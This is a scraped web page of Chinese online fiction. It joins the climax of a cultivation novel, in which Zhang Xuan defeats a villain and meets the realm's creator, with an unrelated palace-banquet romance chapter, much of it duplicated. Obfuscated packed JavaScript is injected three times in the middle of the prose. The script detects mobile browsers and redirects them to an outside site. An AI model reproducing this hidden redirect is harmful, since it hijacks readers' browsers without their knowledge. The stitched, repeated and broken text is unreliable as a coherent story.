知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十二章 ” 晏景文直接僵在了原地,傻眼了。 他张了张嘴,一个字儿都说不出来。 晏子晏把他的反应尽收眼底,轻轻摇了摇头,没再多说什么。 而此时,被晏子晏挂在嘴边的晏清澜,正对着满屋子的华服,一脸的愁云惨雾。 她觉得自己要崩溃了。 晏清澜个子高挑,皮肤白皙,五官明艳,简直就是天生的衣架子。 随便什么衣服穿在她身上,都像是为她量身定制的。 傅清霁对她,那是真上心,一口气给她置办了一屋子,让她随便挑。 可这一挑,晏清澜就更头疼了。 太多了,也是一种负担啊。 宋溪溪托着下巴,在一旁出馊主意: “我说,要不阿清姐姐你穿我做的那件?虽然还没完工,但样子已经出来了,绝对艳压群芳!” “就是那料子……太惹眼了点。”宋溪溪有些纠结。 她把晏清澜送的云锦缎,偷偷给晏清澜做了件衣裳。 本来想给晏清澜一个惊喜,可现在看来,这惊喜有点惊过头了。 晏清澜一听,哭笑不得。 她伸手捏了捏宋溪溪的脸颊,哭笑不得: “你这丫头,什么时候开始给我做起衣裳来了?那料子不是给你了吗?” 宋溪溪笑嘻嘻的,讨好的道: “哎呀,我的好姐姐,我这不是想让你在宫宴上大出风头嘛。” 傅清霁眼前一亮, “云锦缎?这个主意好!” 她转头看向晏清澜, “阿清,要不你就穿溪溪做的那件?保管你一出场,就闪瞎所有人的眼!” 宋溪溪一听,连忙摆手: “娘,您可别瞎出主意了!云锦缎那么扎眼,阿清姐姐又是头一回在京城露面,这不是给她招黑吗?” 傅清霁的激动劲儿也下来了, “这倒也是。” 她叹了口气, “可是阿清这张脸,就算穿粗布麻衣,也一样招人嫉妒啊。” 最近京城里那些风言风语,传的要多难听有多难听。 还有皇上对晏清澜的另眼相看,也让不少人眼红。 宋溪溪也犯愁了, “那怎么办?” 宋明澜在一旁看得直乐呵: “还能怎么办?兵来将挡,水来土掩呗!” 他冲着晏清澜挤眉弄眼: “阿清,到时候可别手下留情啊,让那些人见识见识你的厉害!” 晏清澜直接赏了他一记白眼。 傅清霁没好气地瞪了宋明澜一眼: “就你话多!一边待着去!” 她转过头,又对宋溪溪说: “溪溪,你那衣裳还差多少?要不我找人帮你赶赶工?” 宋溪溪一听,头摇得跟拨浪鼓似的: “那可不行!这是我给阿清姐姐做的,别人可不能碰!” 她拍着胸脯保证: “阿清姐姐,你放心,我熬夜也给你赶出来!” 晏清澜看着她,心里暖暖的。 她揉了揉宋溪溪的头发: “傻丫头,不用这么赶,我随便穿一件就行。” 宋溪溪不依不饶: “那怎么行?你可是我姐,必须得是最耀眼的那个!” 她挽住晏清澜的胳膊,撒娇道: “再说,我也想穿云锦缎,咱俩一起,闪瞎那些人的眼!” 傅清霁在一旁笑眯眯地看着她们, “好,好,就这么定了!你们俩,都给我打扮得漂漂亮亮的!”紫禁城巍峨,金瓦耀眼。 对那些削尖脑袋想往里钻的人来说,这宫里的每一块砖、每一片瓦,都透着诱人的光。 今儿是归朝宴,文武百官拖家带口地进了宫。明面上是给陆家接风,可背地里,谁又比谁干净? 不过是借着由头,各家有各家的盘算。 “怎的还不见厉夫人和陆小姐?” 一位方脸的夫人,捏着柄绢扇,轻轻扇着。她眼神闪烁,嘴角虽带着笑,却让人觉得不舒服。 这话听着平常,可细品,就不是那个味儿了。 “人不遭嫉是无能之辈”,这话在理。可架不住傅清霁占的,实在让人眼热。 高官厚禄傍身不说,厉宗玉还就认她一人。这后院里干干净净,只她一位女主人。 满汴京,除了那位姚丞相夫人,也就她傅清霁了。 那位姚夫人,是真真儿的才貌双全。京中贵女,就没一个不服她的。便是存了心思想比,一对上她,也只剩自惭形秽的份儿。 可傅清霁…… 有人暗自撇嘴,心里头那股子不平,又开始翻涌。 “整天玩兵器耍武艺,没个正形。厉将军也是眼瞎,才把她当个宝!” 这话,是那些背地里嚼舌根的夫人们,最爱说的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106272|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“说不准,是带出来的养女见不得人,不敢来呢。”旁边一位夫人,立马接了话。 这两人,平日里就惯会一唱一和。 她故意咳了一声,声音不大不小,却足够周围的人听个清楚。 “陆家那位养女,听说身子骨弱。这规矩礼仪,怕是没学过几日。” 她摇了摇头,像是替陆家惋惜,可眼底的幸灾乐祸,是个人都看得出来。 “离京四年,回来就为了这么个丫头,也真不知陆家怎么想的。” 几位夫人交换着眼神,笑得意味深长。 “咳。” 清嗓子的声音再次响起,不过这回,不是为了吸引注意力,而是打断。 一位圆脸的夫人,平日里就看不惯钱雅芝那副假清高的做派。她淡淡扫了方才说话那两人一眼,不紧不慢地开口: “将军府的小姐,是庄家的四姑娘,亲生的。” 她着重强调了“亲生”二字,语气里带了几分警告。 “晏夫人一会儿就到,你们说话仔细着些。” 这话,与其说是提醒,不如说是威胁。 周围的笑声,微微一滞。 几位夫人交换了眼神,识趣地转移了话题。 “晏夫人好福气,几位小姐都出色。大姑娘端庄,六姑娘娇俏……” “可不是,听说四姑娘还习武?庄家这是文武双全了。”有人附和,语气里带着几分酸意。 这话说得巧妙,既捧了庄家,又暗暗刺了钱雅芝几句。 谁不知道,庄家几位小姐里,就数这位四姑娘,最不让钱雅芝省心。 “镇国大将军到——” 太监尖细的嗓音,划破了这边的低语。 大殿内,瞬间安静下来。 所有人的目光,都投向了殿门口。 厉宗玉当先走了进来,身后跟着宋明澜。 厉宗玉久经沙场,自带一股慑人的气势。他目光一扫,在场的官员们,不自觉地挺直了腰板。 宋明澜也一改平日里在家人面前的模样。 他微微垂眸,敛去了眼底的笑意。 虽说面容俊朗,却给人一种拒人于千里之外的感觉。 可越是这样,越是勾人。 在场的少女们,有不少都红了脸,偷偷用余光打量他。 傅清霁紧随其后,一身戎装,衬得她越发英姿勃勃。 可最让人挪不开眼的,是她身后的那两抹浅紫。 第一百七十二章 ” 晏景文直接僵在了原地,傻眼了。 他张了张嘴,一个字儿都说不出来。 晏子晏把他的反应尽收眼底,轻轻摇了摇头,没再多说什么。 而此时,被晏子晏挂在嘴边的晏清澜,正对着满屋子的华服,一脸的愁云惨雾。 她觉得自己要崩溃了。 晏清澜个子高挑,皮肤白皙,五官明艳,简直就是天生的衣架子。 随便什么衣服穿在她身上,都像是为她量身定制的。 傅清霁对她,那是真上心,一口气给她置办了一屋子,让她随便挑。 可这一挑,晏清澜就更头疼了。 太多了,也是一种负担啊。 宋溪溪托着下巴,在一旁出馊主意: “我说,要不阿清姐姐你穿我做的那件?虽然还没完工,但样子已经出来了,绝对艳压群芳!” “就是那料子……太惹眼了点。”宋溪溪有些纠结。 她把晏清澜送的云锦缎,偷偷给晏清澜做了件衣裳。 本来想给晏清澜一个惊喜,可现在看来,这惊喜有点惊过头了。 晏清澜一听,哭笑不得。 她伸手捏了捏宋溪溪的脸颊,哭笑不得: “你这丫头,什么时候开始给我做起衣裳来了?那料子不是给你了吗?” 宋溪溪笑嘻嘻的,讨好的道: “哎呀,我的好姐姐,我这不是想让你在宫宴上大出风头嘛。” 傅清霁眼前一亮, “云锦缎?这个主意好!” 她转头看向晏清澜, “阿清,要不你就穿溪溪做的那件?保管你一出场,就闪瞎所有人的眼!” 宋溪溪一听,连忙摆手: “娘,您可别瞎出主意了!云锦缎那么扎眼,阿清姐姐又是头一回在京城露面,这不是给她招黑吗?” 傅清霁的激动劲儿也下来了, “这倒也是。” 她叹了口气, “可是阿清这张脸,就算穿粗布麻衣,也一样招人嫉妒啊。” 最近京城里那些风言风语,传的要多难听有多难听。 还有皇上对晏清澜的另眼相看,也让不少人眼红。 宋溪溪也犯愁了, “那怎么办?” 宋明澜在一旁看得直乐呵: “还能怎么办?兵来将挡,水来土掩呗!” 他冲着晏清澜挤眉弄眼: “阿清,到时候可别手下留情啊,让那些人见识见识你的厉害!” 晏清澜直接赏了他一记白眼。 傅清霁没好气地瞪了宋明澜一眼: “就你话多!一边待着去!” 她转过头,又对宋溪溪说: “溪溪,你那衣裳还差多少?要不我找人帮你赶赶工?” 宋溪溪一听,头摇得跟拨浪鼓似的: “那可不行!这是我给阿清姐姐做的,别人可不能碰!” 她拍着胸脯保证: “阿清姐姐,你放心,我熬夜也给你赶出来!” 晏清澜看着她,心里暖暖的。 她揉了揉宋溪溪的头发: “傻丫头,不用这么赶,我随便穿一件就行。” 宋溪溪不依不饶: “那怎么行?你可是我姐,必须得是最耀眼的那个!” 她挽住晏清澜的胳膊,撒娇道: “再说,我也想穿云锦缎,咱俩一起,闪瞎那些人的眼!” 傅清霁在一旁笑眯眯地看着她们, “好,好,就这么定了!你们俩,都给我打扮得漂漂亮亮的!”紫禁城巍峨,金瓦耀眼。 对那些削尖脑袋想往里钻的人来说,这宫里的每一块砖、每一片瓦,都透着诱人的光。 今儿是归朝宴,文武百官拖家带口地进了宫。明面上是给陆家接风,可背地里,谁又比谁干净? 不过是借着由头,各家有各家的盘算。 “怎的还不见厉夫人和陆小姐?” 一位方脸的夫人,捏着柄绢扇,轻轻扇着。她眼神闪烁,嘴角虽带着笑,却让人觉得不舒服。 这话听着平常,可细品,就不是那个味儿了。 “人不遭嫉是无能之辈”,这话在理。可架不住傅清霁占的,实在让人眼热。 高官厚禄傍身不说,厉宗玉还就认她一人。这后院里干干净净,只她一位女主人。 满汴京,除了那位姚丞相夫人,也就她傅清霁了。 那位姚夫人,是真真儿的才貌双全。京中贵女,就没一个不服她的。便是存了心思想比,一对上她,也只剩自惭形秽的份儿。 可傅清霁…… 有人暗自撇嘴,心里头那股子不平,又开始翻涌。 “整天玩兵器耍武艺,没个正形。厉将军也是眼瞎,才把她当个宝!” 这话,是那些背地里嚼舌根的夫人们,最爱说的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16106272|178491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 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仿佛这满殿的富贵荣华,都入不了她的眼。 这两人,一个娇,一个冷,各有各的美,实在难分高下。 一时间,竟让人忘了去比较,只顾着惊艳。 厉宗玉、宋明澜父子二人,在男宾席落座。 女眷这边,晏清澜和宋溪溪也寻了位置坐下。 陆家是今日的主角,少不得有人上前寒暄。 虽说先前那些夫人们嚼舌根,可真到了跟前,却是一个比一个热情。 这些世家小姐们,自小耳濡目染,更不会在这种场合失了分寸。 就算心里真对晏清澜和宋溪溪有什么看法,也不会表露出来。 晏清澜和宋溪溪落落大方地应对着,不卑不亢。 正与几位小姐说着话,外头又传来太监的通报声。 这回,是晏夫人到了。 钱雅芝携着晏玥玥,款款而来。 晏玥玥今日也费了不少心思打扮。可珠玉在前,她的出现,并没引起太大的波澜。 倒不是说她不够美,只是…… 跟晏清澜和宋溪溪比起来,她到底还是显得稚嫩了些。 反倒是庄家的几位公子,引来了不少关注。 